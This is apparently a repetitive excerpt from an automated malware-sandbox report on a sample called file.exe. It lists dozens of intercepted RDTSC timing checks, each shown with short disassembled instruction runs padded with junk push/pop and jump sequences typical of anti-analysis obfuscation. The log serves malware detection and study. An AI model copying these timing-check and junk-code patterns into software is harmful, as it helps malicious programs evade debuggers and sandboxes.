Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EBEA second address: 127EC0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EC0B second address: 127EC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12868E9 second address: 12868EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12868EF second address: 12868F9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F04D4C79EA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12868F9 second address: 1286920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F04D4C82A4Eh 0x0000000c jnc 00007F04D4C82A4Eh 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12862EF second address: 128630A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB6h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128630A second address: 1286314 instructions: 0x00000000 rdtsc 0x00000002 je 00007F04D4C82A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286489 second address: 128648F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128648F second address: 12864B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F04D4C82A4Ah 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F04D4C82A4Eh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12864B0 second address: 12864B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12864B8 second address: 12864BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5B2 second address: 128C5B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5B8 second address: 128C5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C82A54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5D0 second address: 128C5ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C5ED second address: 128C627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F04D4C82A55h 0x00000012 jmp 00007F04D4C82A52h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12972C6 second address: 12972CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C50 second address: 1296C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C54 second address: 1296C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F04D4C79EB4h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C78 second address: 1296C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1CC9 second address: 12A1CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jbe 00007F04D4C79EA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1CD8 second address: 12A1CF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A58h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1CF6 second address: 12A1D17 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C79EB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1D17 second address: 12A1D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1D1D second address: 12A1D27 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F04D4C79EA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9715 second address: 12A9752 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F04D4C82A59h 0x00000008 pop ebx 0x00000009 push edx 0x0000000a jmp 00007F04D4C82A51h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 js 00007F04D4C82A4Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9752 second address: 12A976F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F04D4C79EB5h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A95B5 second address: 12A95BF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F04D4C82A46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACDF0 second address: 12ACE52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EAAh 0x00000007 push eax 0x00000008 jmp 00007F04D4C79EAEh 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F04D4C79EECh 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F04D4C79EB1h 0x0000001e jmp 00007F04D4C79EAFh 0x00000023 jmp 00007F04D4C79EB0h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b jo 00007F04D4C79EA6h 0x00000031 push edx 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACBFB second address: 12ACC03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACC03 second address: 12ACC22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EADh 0x00000007 jnl 00007F04D4C79EA8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACC22 second address: 12ACC2F instructions: 0x00000000 rdtsc 0x00000002 je 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACC2F second address: 12ACC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACC37 second address: 12ACC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B243F second address: 12B244A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F04D4C79EA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B244A second address: 12B2452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2712 second address: 12B2723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jo 00007F04D4C79ECEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2723 second address: 12B2727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2727 second address: 12B2737 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F04D4C79EA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2737 second address: 12B273B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B273B second address: 12B2741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B33CE second address: 12B33D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B33D4 second address: 12B33F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F04D4C79EA6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F04D4C79EB5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B33F6 second address: 12B33FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B33FE second address: 12B3404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8143 second address: 12B8147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB33F second address: 11BB356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB356 second address: 11BB366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F04D4C82A48h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9737 second address: 12B973B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C0589 second address: 12C059D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F04D4C82A46h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C059D second address: 12C05C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F04D4C79EADh 0x00000013 pushad 0x00000014 popad 0x00000015 je 00007F04D4C79EA6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3894 second address: 12C38A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C38A0 second address: 12C38D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 jmp 00007F04D4C79EB6h 0x0000000d jmp 00007F04D4C79EB0h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C38D3 second address: 12C38DD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C82A46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6F0A second address: 11C6F2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jp 00007F04D4C79EA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6F2C second address: 11C6F30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3DE8 second address: 12D3DFB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F04D4C79EA6h 0x00000008 jp 00007F04D4C79EA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3DFB second address: 12D3E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3E01 second address: 12D3E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCE3C second address: 11BCE42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCE42 second address: 11BCE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F04D4C79EA6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCE52 second address: 11BCE5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCE5A second address: 11BCE62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCE62 second address: 11BCE83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F04D4C82A59h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6BB2 second address: 12E6BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6BB8 second address: 12E6BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6BBF second address: 12E6BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5C0C second address: 12E5C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 ja 00007F04D4C82A46h 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F04D4C82A56h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5DA0 second address: 12E5DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F04D4C79EB8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5DC0 second address: 12E5DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5F1A second address: 12E5F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6071 second address: 12E6079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6079 second address: 12E6096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F04D4C79EAEh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6096 second address: 12E60E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F04D4C82A53h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F04D4C82A55h 0x00000015 jmp 00007F04D4C82A53h 0x0000001a popad 0x0000001b push esi 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E637E second address: 12E6383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E64E6 second address: 12E64F3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6923 second address: 12E6927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E825D second address: 12E8274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F04D4C82A51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8274 second address: 12E828B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F04D4C79EA6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 jng 00007F04D4C79EA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAD73 second address: 12EAD79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB0F9 second address: 12EB117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB117 second address: 12EB132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C82A56h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB132 second address: 12EB138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB138 second address: 12EB13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB13C second address: 12EB160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F04D4C79EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB160 second address: 12EB165 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB165 second address: 12EB181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jng 00007F04D4C79EAAh 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB181 second address: 12EB186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC15 second address: 12EFC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F04D4C79EA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC1F second address: 12EFC25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC25 second address: 12EFC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC2F second address: 12EFC3D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC3D second address: 12EFC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F04D4C79EA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFC47 second address: 12EFC51 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C82A46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830287 second address: 58302B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F04D4C79EB8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58302B9 second address: 58302C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
